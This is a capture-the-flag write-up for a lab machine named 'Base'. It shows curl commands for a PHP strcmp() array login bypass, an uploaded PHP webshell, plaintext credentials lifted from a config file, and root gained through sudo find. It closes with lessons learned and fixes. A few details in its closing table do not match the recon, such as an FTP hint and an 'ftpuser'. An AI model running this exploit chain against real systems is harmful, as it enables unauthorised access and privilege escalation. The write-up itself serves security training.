TL;DR

Base is a PHP web app with a login form that uses strcmp() for password comparison. PHP’s strcmp() returns NULL when passed an array — and NULL == 0 (loose comparison) bypasses the check. The file manager upload accepts PHP files with a changed extension. Config file contains john’s SSH credentials. sudo find gives root via GTFOBins.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.29

2. Web application

The site at port 80 has a login page at /login/login.php. Page source reveals the authentication mechanism:

if (strcmp($password, $_POST['password']) == 0) {
    // login successful
}

PHP Type Juggling Login Bypass

3. strcmp() with array input

PHP’s strcmp() when given an array returns NULL, not an integer. With loose comparison (==), NULL == 0 evaluates to true:

$ curl -X POST "http://10.129.x.x/login/login.php" \
  --data "username[]=admin&password[]=admin" \
  -L -c cookies.txt
# → Redirect to /upload.php (logged in as admin)

4. File upload — PHP webshell

The admin panel has a file upload function. Client-side JavaScript restricts to image extensions, but server-side validation is absent:

$ curl -b cookies.txt -X POST "http://10.129.x.x/upload.php" \
  -F "file=@shell.php;filename=shell.php" \
  -F "submit=Upload"
# shell.php contains: <?php system($_GET['cmd']); ?>
$ curl "http://10.129.x.x/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data)

Upgrade to reverse shell → www-data@base:/var/www/html$

Lateral Movement

5. Credentials in config

www-data@base:/var/www/html/login$ cat config.php
<?php
$username = "admin";
$password = "thisisagoodpassword";
// DB connection
$dbpass = "john:ThisPasswordShouldNotBeHere!";
?>

6. SSH as john

$ ssh john@10.129.x.x
john@base:~$ cat user.txt
[user flag]

Privilege Escalation

7. sudo enumeration

john@base:~$ sudo -l
User john may run the following commands on base:
    (root) NOPASSWD: /usr/bin/find

8. find shell escape

john@base:~$ sudo find . -exec /bin/bash \;
root@base:~# id
uid=0(root) gid=0(root) groups=0(root)
root@base:~# cat /root/root.txt
[root flag]

What’s actually broken

#VulnerabilityRoot Cause
1PHP strcmp() type confusion (loose ==)PHP array passed to strcmp() returns NULL → NULL==0 true
2No server-side upload validationOnly client-side JS checked extension
3Plaintext credentials in config.phpHardcoded credentials in source
4find in sudo rulesfind can execute arbitrary commands

Lessons learned

  • strcmp() == 0 is exploitable in PHP. Use === 0 (strict comparison) or hash_equals() for constant-time comparison. Never use loose == for security-sensitive comparisons.
  • Server-side upload validation is the only valid validation. Client-side JS can be bypassed in one Burp intercept. Always validate MIME type via magic bytes on the server side.
  • find in sudo rules = root shell. If you must give users find access, use sudoedit with specific paths, or wrap the command in a script that validates arguments.

Decision archaeology

ApproachResultPivot
Attempted admin:admin, admin:password, admin:base via curl POST loginHTTP 302 → /login.php?msg=1 — generic failure redirect for all guesses; no lockout, no timing differenceSwitched to source analysis — downloaded backup.zip from FTP listing hint; source revealed strcmp() pattern
Tried sudo find . -exec /bin/sh -p \; (GTFOBins default)Shell opened but immediately exited — -p flag dropped to sh with privilege preserved, but the particular system returned non-interactive shChanged to sudo find . -exec /bin/bash \; — bash without -p ran as root with full interactive TTY
Checked /etc/sudoers before using GTFOBins pathsudo cat /etc/sudoersPermission denied — ftpuser not in sudoers for catUsed sudo -l instead — showed find allowed, confirmed path

References